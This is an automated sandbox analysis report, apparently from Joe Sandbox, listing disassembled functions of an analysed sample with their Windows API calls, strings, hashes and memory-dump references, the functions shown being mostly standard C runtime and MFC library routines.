GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BAD8

Strings

YV@, xrefs: 0040BA5B, 0040BABB, 0040BA2E
j<@, xrefs: 0040BA34
YV@, xrefs: 0040BAE5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID: YV@$YV@$j<@
API String ID: 3852931651-612801246
Opcode ID: 6c85e36e30cfb4b369ea1ec8285586001f626337769262a9224f287c788a1765
Instruction ID: 9eaa54c176bb6b663e91f90ff6a6452a3950c0b310cba17d209e8f877b80b8b7
Opcode Fuzzy Hash: 6c85e36e30cfb4b369ea1ec8285586001f626337769262a9224f287c788a1765
Instruction Fuzzy Hash: 55416D72A01219EFCF219F95DC86EEF7B78EB04750F10453AF911E2290D3799950CB98

Function 004100BD Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004100C2
GetPropA.USER32(?,AfxOldWndProc423), ref: 004100DA
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 00410138

Part of subcall function 0040FCA4: GetWindowRect.USER32(?,0040FE9C), ref: 0040FCC9
Part of subcall function 0040FCA4: GetWindow.USER32(?,00000004), ref: 0040FCE6

SetWindowLongA.USER32(?,000000FC,?), ref: 00410168
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00410170
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00410177
GlobalDeleteAtom.KERNEL32(00000000), ref: 0041017E

Part of subcall function 0040FC81: GetWindowRect.USER32(?,?), ref: 0040FC8D

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 004101D2

Strings

AfxOldWndProc423, xrefs: 004100D0, 004100D8, 0041016E, 00410176

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 6c1b085ed374407540c0b6b9828a23c084ee40a7909bed8b49bac2d4af7a6d56
Instruction ID: 7148137453dd23a4e0ff233006252e9631ec64552699d75ec3c6641c03756c59
Opcode Fuzzy Hash: 6c1b085ed374407540c0b6b9828a23c084ee40a7909bed8b49bac2d4af7a6d56
Instruction Fuzzy Hash: B2314D3280050AFBCB11AFA5DD49DEF7A79EF45310F00413AF901A2191C7BD8A919B69

Function 004324CB Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 469COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 004328CD
__aulldiv.LIBCMT ref: 004328DF

Strings

, xrefs: 00432954
@, xrefs: 00432846
9, xrefs: 004328E4
g, xrefs: 0043265C
', xrefs: 00432745
g, xrefs: 004326E5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: __aulldiv__aullrem
String ID: $'$9$@$g$g
API String ID: 3839614884-2311196974
Opcode ID: b7cf7156a06520f997c39f93a85d7d4cc8bd5670a964ddbb83749529d2ecd62e
Instruction ID: d55c01c3e708e9b427631970c03746ceeee89d36284103ffdac5a8a2cec4aca8
Opcode Fuzzy Hash: b7cf7156a06520f997c39f93a85d7d4cc8bd5670a964ddbb83749529d2ecd62e
Instruction Fuzzy Hash: 0D02B071D0520AEBDF15DF98CA087EEBBB4BF0C314F24A15BD810A6291D7BC8A41CB59

Function 00403E40 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00403E52
LoadLibraryA.KERNEL32(?), ref: 00403E5F
wsprintfA.USER32 ref: 00403E76
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 00403E8C

Part of subcall function 00402FB0: ExitProcess.KERNEL32 ref: 00402FC5

GetProcAddress.KERNEL32(00000000,00000040), ref: 00403F21
wsprintfA.USER32 ref: 00403F39
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 00403F4F

Strings

DLL ERROR, xrefs: 00403E85, 00403F48

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: dd099b8a855330ed6d974c126cee10476c2eb7488a35e83c28ed51785ebc5712
Instruction ID: 09d3b641b7c72868b6355bf05325e4cb04bfe789a1cc7ed3742f7a60f67fa891
Opcode Fuzzy Hash: dd099b8a855330ed6d974c126cee10476c2eb7488a35e83c28ed51785ebc5712
Instruction Fuzzy Hash: B131ECB66003065BD320DF64EC45BDB7B9CEB94715F00493AFB05A3281EB79D90887E9

Function 0040BF50 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0040800D,?,Microsoft Visual C++ Runtime Library,00012010,?,004165B8,?,00416608,?,?,?,Runtime Error!Program: ), ref: 0040BF62
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040BF7A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0040BF8B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0040BF98

Strings

user32.dll, xrefs: 0040BF5D
GetActiveWindow, xrefs: 0040BF85
MessageBoxA, xrefs: 0040BF74
GetLastActivePopup, xrefs: 0040BF8D

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 39b82b034defb056793bed16c2a7c6a49735d1439c41a2308c8467d5ac342af1
Instruction ID: 70d3de7f3cf59fec41b9a4808f95400bbee8cbfcaf7ced40aa70d49ff4a8c856
Opcode Fuzzy Hash: 39b82b034defb056793bed16c2a7c6a49735d1439c41a2308c8467d5ac342af1
Instruction Fuzzy Hash: AE012135600212AFC7509FB59C85E9B7AE9EA88790318043FF505E3262DF78C8469BED

Function 00411DDB Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,004120D5,?,00020000), ref: 00411DE4
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00411DED
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00411E01
74B6E3D0.COMCTL32 ref: 00411E1C
74B6E3D0.COMCTL32 ref: 00411E38
FreeLibrary.KERNEL32(00000000), ref: 00411E44

Strings

COMCTL32.DLL, xrefs: 00411DDD, 00411DE3, 00411DEA
InitCommonControlsEx, xrefs: 00411DF9

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: 115f93cbcbf818305d257b5144877508a48935e8dc8c94f7345d1e311eeb65f0
Instruction ID: 5a594d2be5e2ad25d446a864c4c0787accf3645421c1593d139ed447c4260ccd
Opcode Fuzzy Hash: 115f93cbcbf818305d257b5144877508a48935e8dc8c94f7345d1e311eeb65f0
Instruction Fuzzy Hash: 9EF08132608B22DB86119BE4EC489DB7BA8ABD87517158436FE04E3220DB28CD4187B9

Function 0040B75C Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00416844,00000001,00000000,00000000,74DEE860,004C91C8,?,?,?,0040D03F,?,?,?,00000000), ref: 0040B79E
LCMapStringA.KERNEL32(00000000,00000100,00416840,00000001,00000000,00000000,?,?,0040D03F,?,?,?,00000000,00000001), ref: 0040B7BA
LCMapStringA.KERNEL32(?,?,?,0040D03F,?,?,74DEE860,004C91C8,?,?,?,0040D03F,?,?,?,00000000), ref: 0040B803
MultiByteToWideChar.KERNEL32(?,004C91C9,?,0040D03F,00000000,00000000,74DEE860,004C91C8,?,?,?,0040D03F,?,?,?,00000000), ref: 0040B83B
MultiByteToWideChar.KERNEL32(00000000,00000001,?,0040D03F,?,00000000,?,?,0040D03F,?), ref: 0040B893
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0040D03F,?), ref: 0040B8A9
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0040D03F,?), ref: 0040B8DC
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,0040D03F,?), ref: 0040B944

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 60d452896c091f2ed73d8827610af22c5f3df41f9d5b08b2936d5859572770dd
Instruction ID: f48d28cc8f2c126907849b15335eeb7596f0b5e5d39b4bf3ebe70b46c2b7d3cd
Opcode Fuzzy Hash: 60d452896c091f2ed73d8827610af22c5f3df41f9d5b08b2936d5859572770dd
Instruction Fuzzy Hash: EC514E72900209EBCF229F55CC45EEF7FB9FB48754F10812AF915A12A0C3398D51EBA9

Function 0040A32B Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00002020,hrK), ref: 0040A34C
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,0040A7F7,00000000,00000010,00000000,00000009,00000009,?,00405967,00000010,00000000), ref: 0040A370
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,0040A7F7,00000000,00000010,00000000,00000009,00000009,?,00405967,00000010,00000000), ref: 0040A38A
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,0040A7F7,00000000,00000010,00000000,00000009,00000009,?,00405967,00000010,00000000,00000000), ref: 0040A44B
HeapFree.KERNEL32(00000000,00000000,?,00000000,0040A7F7,00000000,00000010,00000000,00000009,00000009,?,00405967,00000010,00000000,00000000,00000000), ref: 0040A462

Strings

hrK, xrefs: 0040A334, 0040A335, 0040A338, 0040A394, 0040A39D, 0040A3A6, 0040A451
hrK, xrefs: 0040A3AB, 0040A3B4, 0040A3BD, 0040A3C5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFreeHeap$Allocate
String ID: hrK$hrK
API String ID: 3000792370-3647945203
Opcode ID: ec0b780b8f47c52e5baac4188f519667518d61d00a67569d5716657754f36c80
Instruction ID: 1044c25ad243fa3be31b49976da8b8b9632d6f3511f9092dbd2d214ab2b59040
Opcode Fuzzy Hash: ec0b780b8f47c52e5baac4188f519667518d61d00a67569d5716657754f36c80
Instruction Fuzzy Hash: 98310571544702EBD3249F24DC88BA6B7A0E784754F10827BF555A73D0D7B8A850CB5E

Function 00407EE9 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00407F56
GetStdHandle.KERNEL32(000000F4,004165B8,00000000,00000000,00000000,00000000), ref: 0040802C
WriteFile.KERNEL32(00000000), ref: 00408033

Strings

..., xrefs: 00407FA8
Runtime Error!Program: , xrefs: 00407FBC
Microsoft Visual C++ Runtime Library, xrefs: 00408002
<program name unknown>, xrefs: 00407F66

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 61f950bb2b4247733c9263d0a14e3441e01fdaaeb5002d3f9f219977514baf62
Instruction ID: b0392929bc042ea8d62e79a8b8075731135079c1e32123766934745041ad6da1
Opcode Fuzzy Hash: 61f950bb2b4247733c9263d0a14e3441e01fdaaeb5002d3f9f219977514baf62
Instruction Fuzzy Hash: 6331C572A00218AFDF20AA61CC45FDA776CEB45304F11407BF544F21D1E778EA848B9E

Function 00413984 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,004C5EAC,00000000,?,?,?,00413BEC,004C5EAC,00000000,?,00000000,00413FBA,0041357D,00413FD6,0040EAE0,004125FA), ref: 0041398F
RtlEnterCriticalSection.NTDLL(?), ref: 004139DE
RtlLeaveCriticalSection.NTDLL(?), ref: 004139F1
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,00413BEC,004C5EAC,00000000,?,00000000,00413FBA,0041357D,00413FD6,0040EAE0,004125FA), ref: 00413A07
LocalReAlloc.KERNEL32(?,00000000,00000002,?,?,?,00413BEC,004C5EAC,00000000,?,00000000,00413FBA,0041357D,00413FD6,0040EAE0,004125FA), ref: 00413A19
TlsSetValue.KERNEL32(?,00000000), ref: 00413A55

Strings

n:A, xrefs: 004139C0

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID: n:A
API String ID: 4117633390-2574946375
Opcode ID: 77998f2fd510252680960f0b6b56e5a4315e0b9f9092e6d54c54a4668326b302
Instruction ID: a8bb6e1eab0ba7a7872b2a679117b68ef7f6244d1867ddef16d6b94a22ab2d9a
Opcode Fuzzy Hash: 77998f2fd510252680960f0b6b56e5a4315e0b9f9092e6d54c54a4668326b302
Instruction Fuzzy Hash: 3031CC71200605EFD724DF15C889FEAB7A8FF84366F00C92AE456C7680DB74EA49CB64

Function 004667BF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004667F6
___except_validate_context_record.LIBVCRUNTIME ref: 004667FE
_ValidateLocalCookies.LIBCMT ref: 00466887
__IsNonwritableInCurrentImage.LIBCMT ref: 004668B2
_ValidateLocalCookies.LIBCMT ref: 00466907

Strings

csm, xrefs: 0046689C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 887dc2a05956212f17c1107d743a82976216511e47ef62147981fe30885234ac
Instruction ID: 4d617feda5c79fc0a46338af82e6e287246c4fde9534b07b033d493908ff592f
Opcode Fuzzy Hash: 887dc2a05956212f17c1107d743a82976216511e47ef62147981fe30885234ac
Instruction Fuzzy Hash: 4941F434E002189BCF00EF69C890A9EBBB5EF44328F15815BE9189B352E739DD11CB96

Function 00414065 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 00414093
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004140B6
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004140D5
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004140E5
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004140EF

Strings

software, xrefs: 0041407D

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 6883ca89f43c4537b3e6de719ca9df8f7a512608322b18ff42d6ecf7acc6556c
Instruction ID: 9a4607b651cc87c7306d7d276e3743ae9e1bd9699c500343de30bd331775c815
Opcode Fuzzy Hash: 6883ca89f43c4537b3e6de719ca9df8f7a512608322b18ff42d6ecf7acc6556c
Instruction Fuzzy Hash: BB11E672900259FBCB21DB96CC84DEFFFBCEFC9700F1040AAA604A2121D7709A50DBA4

Function 00405079 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004050B7
GetSystemMetrics.USER32(00000000), ref: 004050CF
GetSystemMetrics.USER32(00000001), ref: 004050D6
lstrcpy.KERNEL32(?,DISPLAY), ref: 004050FA

Strings

B, xrefs: 00405098
DISPLAY, xrefs: 004050F4

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
